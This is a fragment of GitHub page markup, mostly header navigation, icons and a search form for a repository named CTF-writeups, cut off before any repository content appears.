<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="268353024" data-scoped-search-url="/noob-atbash/CTF-writeups/search" data-owner-scoped-search-url="/users/noob-atbash/search" data-unscoped-search-url="/search" data-turbo="false" action="/noob-atbash/CTF-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="r7hxDaoSCop1GZFQbwY4HqfIlpUIU+Us6+5MSrzW9oITZ25xU7G8ITqe4OgtBqMjyGcDW8BkbdK9t94GY1riyg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 